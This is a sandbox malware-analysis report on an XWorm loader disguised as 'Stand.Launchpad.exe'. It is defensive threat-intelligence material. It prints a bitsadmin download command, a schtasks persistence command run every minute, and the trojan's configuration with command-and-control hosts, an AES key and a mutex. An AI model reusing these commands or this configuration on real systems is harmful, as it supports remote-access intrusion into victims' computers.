File name:

Stand.Launchpad.exe

Full analysis: https://app.any.run/tasks/c5b75deb-afca-4372-8215-9054b734e3e5
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: May 31, 2024, 12:50:29
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
loader
evasion
remote
xworm
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

BEC01D16B6F3C443EB3912042C1FC7F9

SHA1:

436C7FABFF54997F2E550754EDEA0AE791080C9B

SHA256:

2AA6B748A1EE67BA3F68A53228BBC14ED8CE1285E1DDE54D310E2CA8797EB779

SSDEEP:

3072:vUy7Qin0TTHjL39cs+pTEty6+QXMaAkLkuvt:8y7QinWHzOs+pIty6p5LTv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • Stand.Launchpad.exe (PID: 6468)
      • Stand.Launchpad.exe (PID: 6592)

    • Uses Task Scheduler to run other applications

      • Stand.Launchpad.exe (PID: 6592)

    • Changes the autorun value in the registry

      • Stand.Launchpad.exe (PID: 6592)

    • Create files in the Startup directory

      • Stand.Launchpad.exe (PID: 6592)

    • Downloads files via BITSADMIN.EXE

      • mshta.exe (PID: 6572)

    • XWORM has been detected (YARA)

      • Stand.Launchpad.exe (PID: 6592)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • Stand.Launchpad.exe (PID: 6468)
      • Stand.Launchpad.exe (PID: 6592)

    • Reads the date of Windows installation

      • Stand.Launchpad.exe (PID: 6468)
      • Stand.Launchpad.exe (PID: 6592)

    • Executable content was dropped or overwritten

      • Stand.Launchpad.exe (PID: 6468)
      • Stand.Launchpad.exe (PID: 6592)

    • The process executes via Task Scheduler

      • Stand.exe (PID: 2288)
      • Stand.exe (PID: 6320)
      • Stand.exe (PID: 4924)

    • Checks for external IP

      • Stand.Launchpad.exe (PID: 6592)

    • Connects to unusual port

      • Stand.Launchpad.exe (PID: 6592)

  • INFO

    • Reads the computer name

      • Stand.Launchpad.exe (PID: 6468)
      • Stand.Launchpad.exe (PID: 6592)
      • Stand.exe (PID: 4924)
      • Stand.exe (PID: 2288)
      • Stand.exe (PID: 6320)

    • Reads the machine GUID from the registry

      • Stand.Launchpad.exe (PID: 6468)
      • Stand.Launchpad.exe (PID: 6592)
      • Stand.exe (PID: 2288)
      • Stand.exe (PID: 4924)
      • Stand.exe (PID: 6320)

    • Checks supported languages

      • Stand.Launchpad.exe (PID: 6468)
      • Stand.Launchpad.exe (PID: 6592)
      • Stand.exe (PID: 6320)
      • Stand.exe (PID: 4924)
      • Stand.exe (PID: 2288)

    • Reads Microsoft Office registry keys

      • Stand.Launchpad.exe (PID: 6468)

    • Process checks computer location settings

      • Stand.Launchpad.exe (PID: 6468)
      • Stand.Launchpad.exe (PID: 6592)

    • Creates files or folders in the user directory

      • Stand.Launchpad.exe (PID: 6468)
      • Stand.Launchpad.exe (PID: 6592)

    • Create files in a temporary directory

      • Stand.Launchpad.exe (PID: 6592)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6572)

    • Reads Environment values

      • Stand.Launchpad.exe (PID: 6592)

    • Disables trace logs

      • Stand.Launchpad.exe (PID: 6592)

    • Checks proxy server information

      • Stand.Launchpad.exe (PID: 6592)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

XWorm

(PID) Process(6592) Stand.Launchpad.exe
C2127.0.0.1,us3.localto.net,Name1442-40971.portmap.host:40971
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameKVRT
MutexDGNaqiPP5OUu26e6
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (63.1)
.exe | Win64 Executable (generic) (23.8)
.dll | Win32 Dynamic Link Library (generic) (5.6)
.exe | Win32 Executable (generic) (3.8)
.exe | Generic Win/DOS Executable (1.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2024:05:31 04:04:01+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 11
CodeSize: 121344
InitializedDataSize: 21504
UninitializedDataSize: -
EntryPoint: 0x1f90e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
FileDescription:
FileVersion: 1.0.0.0
InternalName: Stand.Launchpad.exe
LegalCopyright:
OriginalFileName: Stand.Launchpad.exe
ProductVersion: 1.0.0.0
AssemblyVersion: 1.0.0.0
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
129
Monitored processes
10
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start stand.launchpad.exe mshta.exe no specs #XWORM stand.launchpad.exe bitsadmin.exe no specs conhost.exe no specs schtasks.exe no specs conhost.exe no specs stand.exe no specs stand.exe no specs stand.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1100\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—schtasks.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2288"C:\Users\admin\AppData\Local\Temp\Stand.exe"C:\Users\admin\AppData\Local\Temp\Stand.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\stand.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
4924"C:\Users\admin\AppData\Local\Temp\Stand.exe"C:\Users\admin\AppData\Local\Temp\Stand.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\stand.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
6152"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Stand" /tr "C:\Users\admin\AppData\Local\Temp\Stand.exe"C:\Windows\System32\schtasks.exe—Stand.Launchpad.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
6320"C:\Users\admin\AppData\Local\Temp\Stand.exe"C:\Users\admin\AppData\Local\Temp\Stand.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\stand.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
6468"C:\Users\admin\Desktop\Stand.Launchpad.exe" C:\Users\admin\Desktop\Stand.Launchpad.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\desktop\stand.launchpad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
6572"C:\Windows\SysWOW64\mshta.exe" "C:\Users\admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} C:\Windows\SysWOW64\mshta.exe—Stand.Launchpad.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
6592"C:\Users\admin\AppData\Roaming\Stand.Launchpad.exe" C:\Users\admin\AppData\Roaming\Stand.Launchpad.exe
Stand.Launchpad.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\roaming\stand.launchpad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
XWorm
(PID) Process(6592) Stand.Launchpad.exe
C2127.0.0.1,us3.localto.net,Name1442-40971.portmap.host:40971
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameKVRT
MutexDGNaqiPP5OUu26e6
6688"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\admin\AppData\Local\Temp\Stand.exeC:\Windows\SysWOW64\bitsadmin.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Version:
7.8.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\bitsadmin.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\ucrtbase.dll
c:\windows\syswow64\combase.dll
6696\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—bitsadmin.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
11 211
Read events
11 169
Write events
42
Delete events
0

Modification events

(PID) Process:(6468) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ApplicationAssociationToasts
Operation:writeName:htafile_.hta
Value:
0
(PID) Process:(6468) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.hta\OpenWithProgids
Operation:writeName:htafile
Value:
(PID) Process:(6468) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6468) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6468) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6468) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6572) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6572) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6572) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6572) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
2
Suspicious files
1
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
6468Stand.Launchpad.exeC:\Users\admin\AppData\Roaming\Downloader.htahtml
MD5:B0A6D4E05DC2225DD03902A3061A4041
SHA256:05E5C927C6366BEBAB2FB341D233887F503FB692D8F6880F7D1327B64705C1EE
6468Stand.Launchpad.exeC:\Users\admin\AppData\Roaming\Stand.Launchpad.exeexecutable
MD5:D51DA3FA31165F2536DDDAD44974AF34
SHA256:9CC68D4AB822BD8E5FD66F40B2C99BCE04805505E593027ACA67256AB63C6210
6592Stand.Launchpad.exeC:\Users\admin\AppData\Local\Temp\Stand.exeexecutable
MD5:D51DA3FA31165F2536DDDAD44974AF34
SHA256:9CC68D4AB822BD8E5FD66F40B2C99BCE04805505E593027ACA67256AB63C6210
6592Stand.Launchpad.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnkbinary
MD5:9B4747689EC4335EF1AF5C27A769D40F
SHA256:6516286F7CC5B358DE379AEE1C03423B0500B1FAA69BD1CE4BD9BDC9DC18F04F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
44
TCP/UDP connections
25
DNS requests
11
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5520
RUXIMICS.exe
GET
—
80.239.138.98:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
5140
MoUsoCoreWorker.exe
GET
200
80.239.138.98:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
—
—
HEAD
302
140.82.121.4:443
https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe
unknown
—
—
—
—
—
HEAD
200
null:443
https://objects.githubusercontent.com/github-production-release-asset-2e65be/478498798/dfd5e9ef-8587-44af-bb57-12fcca5bf897?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240531%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240531T125042Z&X-Amz-Expires=300&X-Amz-Signature=f5fc2868f8b9fec8ba90f7de182c2603f92f2b05eaa2bdd322b04531f50f88cc&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=478498798&response-content-disposition=attachment%3B%20filename%3DStand.Launchpad.exe&response-content-type=application%2Foctet-stream
unknown
—
—
—
5140
MoUsoCoreWorker.exe
GET
200
23.35.202.48:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
unknown
—
—
GET
302
140.82.121.4:443
https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe
unknown
—
—
—
6592
Stand.Launchpad.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
—
—
unknown
—
—
GET
302
140.82.121.4:443
https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe
unknown
—
—
—
—
—
GET
302
140.82.121.4:443
https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe
unknown
—
—
—
—
—
GET
302
140.82.121.4:443
https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe
unknown
—
—
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4364
svchost.exe
239.255.255.250:1900
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
unknown
5632
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5520
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5140
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5520
RUXIMICS.exe
80.239.138.98:80
crl.microsoft.com
Telia Company AB
DE
unknown
5140
MoUsoCoreWorker.exe
80.239.138.98:80
crl.microsoft.com
Telia Company AB
DE
unknown
6760
svchost.exe
140.82.121.4:443
github.com
GITHUB
US
unknown
5140
MoUsoCoreWorker.exe
23.35.202.48:80
www.microsoft.com
AKAMAI-AS
US
unknown
6760
svchost.exe
185.199.109.133:443
objects.githubusercontent.com
FASTLY
US
unknown

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 80.239.138.98
  • 80.239.138.99
whitelisted
github.com
  • 140.82.121.4
shared
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
www.microsoft.com
  • 23.35.202.48
whitelisted
objects.githubusercontent.com
  • 185.199.109.133
  • 185.199.110.133
  • 185.199.111.133
  • 185.199.108.133
shared
ip-api.com
  • 208.95.112.1
shared
us3.localto.net
  • 130.51.20.126
unknown
Name1442-40971.portmap.host
  • 49.13.77.253
unknown
self.events.data.microsoft.com
  • 13.89.179.11
whitelisted

Threats

PID
Process
Class
Message
6592
Stand.Launchpad.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
6592
Stand.Launchpad.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup ip-api.com
—
—
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm Network Packet
—
—
Potential Corporate Privacy Violation
ET POLICY DNS Query to a Reverse Proxy Service Observed
—
—
Misc activity
ET INFO DNS Query for Port Mapping/Tunneling Service Domain (.portmap .host)
—
—
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm Network Packet
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Stand.Launchpad.exe